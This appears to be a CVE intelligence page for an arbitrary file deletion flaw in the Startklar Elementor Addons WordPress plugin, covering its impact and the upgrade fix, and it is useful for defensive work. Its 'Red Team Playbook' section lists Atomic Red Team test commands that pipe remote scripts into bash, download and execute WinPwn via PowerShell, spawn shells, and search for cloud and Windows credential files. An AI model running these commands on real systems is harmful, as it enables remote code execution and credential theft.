CVE-2024-4346
Overview
This vulnerability is a directory traversal flaw (CWE-22) in the Startklar Elementor Addons WordPress plugin, caused by improper validation of file paths during file deletion operations. The affected component is the file deletion functionality that fails to sanitize or restrict the path parameter of uploaded files, allowing manipulation of the file system path prior to deletion.
Vulnerability Description
The Startklar Elementor Addons plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 1.7.13. This is due to the plugin not properly validating the path of an uploaded file prior to deleting it. This makes it possible for unauthenticated attackers to delete arbitrary files, including the wp-config.php file, which can make site takeover and remote code execution possible.
Impact
An unauthenticated attacker can delete arbitrary files on the server, including sensitive WordPress configuration files like wp-config.php. This can result in site takeover or remote code execution by disrupting site integrity or enabling further exploitation. The vulnerability requires no authentication (PR:N) and no user interaction (UI:N), and is exploitable remotely (AV:N) with low attack complexity (AC:L), as reflected in the CVSS vector.
Solution
Users should upgrade the Startklar Elementor Addons plugin to a version later than 1.7.13, where the vulnerability is addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/a125bbf1-8ff6-4f3d-a4fb-caaaefe1df2a) and the WordPress plugin repository changeset (revision 3081987) provide details on the patch that properly validates file paths before deletion. Applying this update is the recommended remediation to prevent exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Startklar Elementor Addons plugin for WordPress is characterized by a critical flaw in the file deletion mechanism. Specifically, the plugin fails to adequately validate the path of files that are intended for deletion. This oversight allows an attacker to manipulate the file path, leading to arbitrary file deletion. The implications of this vulnerability are severe, as it can enable unauthorized users to remove essential files from the WordPress installation, including sensitive configuration files such as wp-config.php. The lack of proper input validation is a common weakness in many web applications, and in this case, it opens the door to significant security risks.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the file deletion functionality exposed by the plugin. An unauthenticated attacker could craft a request that specifies a malicious file path, leveraging the plugin's inadequate validation to delete arbitrary files on the server. For instance, by targeting the wp-config.php file, an attacker could effectively compromise the entire WordPress site. This could lead to site takeover, where the attacker gains control over the website, or facilitate remote code execution, allowing the attacker to execute malicious scripts on the server. The ease of exploitation, combined with the potential for severe consequences, makes this vulnerability particularly concerning for WordPress site administrators.
The real-world impact of this vulnerability is substantial, especially for businesses relying on WordPress for their online presence. The ability to delete critical files can lead to complete website outages, loss of data, and potential exposure of sensitive information. Moreover, if an attacker gains control of the site, they could use it for further malicious activities, such as distributing malware or phishing campaigns. The business risks associated with this vulnerability include reputational damage, financial losses due to downtime, and potential legal ramifications stemming from data breaches. Organizations must recognize that the consequences of such vulnerabilities extend beyond immediate technical issues, affecting customer trust and overall business viability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First and foremost, it is crucial to keep the Startklar Elementor Addons plugin updated to the latest version, as updates often include patches for known vulnerabilities. Regular security audits and vulnerability assessments can help identify and address weaknesses in the system before they can be exploited. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests aimed at exploiting this vulnerability. Monitoring server logs for unusual file deletion activities can also aid in early detection of potential exploitation attempts.
In conclusion, the arbitrary file deletion vulnerability in the Startklar Elementor Addons plugin poses a significant threat to WordPress installations. The technical details of the flaw highlight the importance of proper input validation in web applications, while the potential attack vectors illustrate how easily this vulnerability can be exploited. The real-world impact on businesses underscores the necessity for proactive security measures, including timely updates and robust monitoring practices. By adopting comprehensive detection and mitigation strategies, organizations can better protect themselves from the risks associated with this and similar vulnerabilities, ensuring the integrity and security of their web applications.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4346 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a125bbf1-8ff6-4f3d-a4fb-caaaefe1df2a?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/startklar-elmentor-forms-extwidgets/trunk/startklarDropZoneUploadProcess.php?rev=3061298#L7 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3081987/startklar-elmentor-forms-extwidgets |